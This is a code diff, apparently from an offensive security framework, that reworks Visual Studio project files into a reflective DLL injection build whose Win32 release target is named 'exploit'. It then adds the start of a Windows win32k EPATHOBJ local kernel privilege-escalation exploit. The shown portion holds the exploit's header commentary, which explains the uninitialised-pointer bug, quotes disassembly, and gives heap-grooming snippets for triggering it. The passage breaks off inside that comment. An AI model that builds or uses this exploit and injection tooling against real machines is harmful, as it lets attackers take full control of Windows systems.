CommandLine="copy /y "$(ProjectDir)\release\screenshot.dll" "$(ProjectDir)..\..\output\""
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Debug|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
@@ -206,7 +116,7 @@
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS"
|
||||
PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
@@ -252,6 +162,82 @@
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="2"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
LinkIncremental="1"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy ..\Release\reflective_dll.dll ..\bin\"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|x64"
|
||||
OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
|
||||
@@ -278,20 +264,18 @@
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="1"
|
||||
Optimization="2"
|
||||
InlineFunctionExpansion="1"
|
||||
EnableIntrinsicFunctions="false"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
AdditionalIncludeDirectories=""..\..\source\jpeg-8""
|
||||
PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENSHOT_EXPORTS;_CRT_SECURE_NO_WARNINGS"
|
||||
StringPooling="true"
|
||||
WholeProgramOptimization="false"
|
||||
PreprocessorDefinitions="WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;_WIN64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
|
||||
RuntimeLibrary="0"
|
||||
EnableFunctionLevelLinking="true"
|
||||
UsePrecompiledHeader="0"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="3"
|
||||
CallingConvention="0"
|
||||
CompileAs="1"
|
||||
CompileAs="2"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
@@ -304,19 +288,12 @@
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalDependencies="jpeg.lib"
|
||||
OutputFile=".\release\screenshot.x64.dll"
|
||||
OutputFile="$(OutDir)\$(ProjectName).x64.dll"
|
||||
LinkIncremental="1"
|
||||
AdditionalLibraryDirectories=""..\..\source\jpeg-8\lib\win\x64""
|
||||
GenerateManifest="false"
|
||||
ManifestFile=""
|
||||
GenerateDebugInformation="false"
|
||||
GenerateDebugInformation="true"
|
||||
SubSystem="2"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
RandomizedBaseAddress="2"
|
||||
FixedBaseAddress="1"
|
||||
DataExecutionPrevention="2"
|
||||
TargetMachine="17"
|
||||
/>
|
||||
<Tool
|
||||
@@ -324,7 +301,6 @@
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
EmbedManifest="false"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
@@ -340,7 +316,7 @@
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
CommandLine="copy /y "$(ProjectDir)\release\screenshot.x64.dll" "$(ProjectDir)..\..\output\""
|
||||
CommandLine="copy $(OutDir)\$(ProjectName).x64.dll ..\bin\"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
@@ -353,11 +329,11 @@
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath="..\..\source\screenshot\bmp2jpeg.c"
|
||||
RelativePath=".\src\ReflectiveDll.c"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\screenshot\screenshot.c"
|
||||
RelativePath=".\src\ReflectiveLoader.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
@@ -367,11 +343,11 @@
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
<File
|
||||
RelativePath="..\..\source\screenshot\bmp2jpeg.h"
|
||||
RelativePath=".\src\ReflectiveDLLInjection.h"
|
||||
>
|
||||
</File>
|
||||
<File
|
||||
RelativePath="..\..\source\screenshot\screenshot.h"
|
||||
RelativePath=".\src\ReflectiveLoader.h"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
+266
@@ -0,0 +1,266 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}</ProjectGuid>
|
||||
<RootNamespace>reflective_dll</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v100</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v110</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
<TargetName>exploit</TargetName>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>
|
||||
</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<CompileAs>Default</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>copy ..\ARM\Release\reflective_dll.arm.dll ..\bin\</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>copy $(OutDir)$(ProjectName).x64.dll ..\bin\</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c" />
|
||||
<ClCompile Include="src\ReflectiveLoader.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ComplexPath.h" />
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h" />
|
||||
<ClInclude Include="src\ReflectiveLoader.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
Vendored
Regular → Executable
+31
-21
@@ -1,22 +1,32 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<MASM Include="..\..\source\backcompat\backcompat.asm">
|
||||
<Filter>Source Files</Filter>
|
||||
</MASM>
|
||||
</ItemGroup>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="src\ReflectiveDll.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="src\ReflectiveLoader.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="src\ReflectiveDLLInjection.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ReflectiveLoader.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="src\ComplexPath.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+529
@@ -0,0 +1,529 @@
|
||||
//
|
||||
// --------------------------------------------------
|
||||
// Windows NT/2K/XP/2K3/VISTA/2K8/7/8 EPATHOBJ local ring0 exploit
|
||||
// ----------------------------------------- taviso@cmpxchg8b.com -----
|
||||
//
|
||||
// INTRODUCTION
|
||||
//
|
||||
// There's a pretty obvious bug in win32k!EPATHOBJ::pprFlattenRec where the
|
||||
// PATHREC object returned by win32k!EPATHOBJ::newpathrec doesn't initialise the
|
||||
// next list pointer. The bug is really nice, but exploitation when
|
||||
// allocations start failing is tricky.
|
||||
//
|
||||
// ; BOOL __thiscall EPATHOBJ::newpathrec(EPATHOBJ *this,
|
||||
// PATHRECORD **pppr,
|
||||
// ULONG *pcMax,
|
||||
// ULONG cNeeded)
|
||||
// .text:BFA122CA mov esi, [ebp+ppr]
|
||||
// .text:BFA122CD mov eax, [esi+PATHRECORD.pprPrev]
|
||||
// .text:BFA122D0 push edi
|
||||
// .text:BFA122D1 mov edi, [ebp+pprNew]
|
||||
// .text:BFA122D4 mov [edi+PATHRECORD.pprPrev], eax
|
||||
// .text:BFA122D7 lea eax, [edi+PATHRECORD.count]
|
||||
// .text:BFA122DA xor edx, edx
|
||||
// .text:BFA122DC mov [eax], edx
|
||||
// .text:BFA122DE mov ecx, [esi+PATHRECORD.flags]
|
||||
// .text:BFA122E1 and ecx, not (PD_BEZIER)
|
||||
// .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx
|
||||
// .text:BFA122E7 mov [ebp+pprNewCountPtr], eax
|
||||
// .text:BFA122EA cmp [edi+PATHRECORD.pprPrev], edx
|
||||
// .text:BFA122ED jnz short loc_BFA122F7
|
||||
// .text:BFA122EF mov ecx, [ebx+EPATHOBJ.ppath]
|
||||
// .text:BFA122F2 mov [ecx+PATHOBJ.pprfirst], edi
|
||||
//
|
||||
// It turns out this mostly works because newpathrec() is backed by newpathalloc()
|
||||
// which uses PALLOCMEM(). PALLOCMEM() will always zero the buffer returned.
|
||||
//
|
||||
// ; PVOID __stdcall PALLOCMEM(size_t size, int tag)
|
||||
// .text:BF9160D7 xor esi, esi
|
||||
// .text:BF9160DE push esi
|
||||
// .text:BF9160DF push esi
|
||||
// .text:BF9160E0 push [ebp+tag]
|
||||
// .text:BF9160E3 push [ebp+size]
|
||||
// .text:BF9160E6 call _HeavyAllocPool@16 ; HeavyAllocPool(x,x,x,x)
|
||||
// .text:BF9160EB mov esi, eax
|
||||
// .text:BF9160ED test esi, esi
|
||||
// .text:BF9160EF jz short loc_BF9160FF
|
||||
// .text:BF9160F1 push [ebp+size] ; size_t
|
||||
// .text:BF9160F4 push 0 ; int
|
||||
// .text:BF9160F6 push esi ; void *
|
||||
// .text:BF9160F7 call _memset
|
||||
//
|
||||
// However, the PATHALLOC allocator includes it's own freelist implementation, and
|
||||
// if that codepath can satisfy a request the memory isn't zeroed and returned
|
||||
// directly to the caller. This effectively means that we can add our own objects
|
||||
// to the PATHRECORD chain.
|
||||
//
|
||||
// We can force this behaviour under memory pressure relatively easily, I just
|
||||
// spam HRGN objects until they start failing. This isn't super reliable, but it's
|
||||
// good enough for testing.
|
||||
//
|
||||
// // I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
|
||||
// // failure. Seriously, do some damn QA Microsoft, wtf.
|
||||
// for (Size = 1 << 26; Size; Size >>= 1) {
|
||||
// while (CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
|
||||
// ;
|
||||
// }
|
||||
//
|
||||
// Adding user controlled blocks to the freelist is a little trickier, but I've
|
||||
// found that flattening large lists of bezier curves added with PolyDraw() can
|
||||
// accomplish this reliably. The code to do this is something along the lines of:
|
||||
//
|
||||
// for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
|
||||
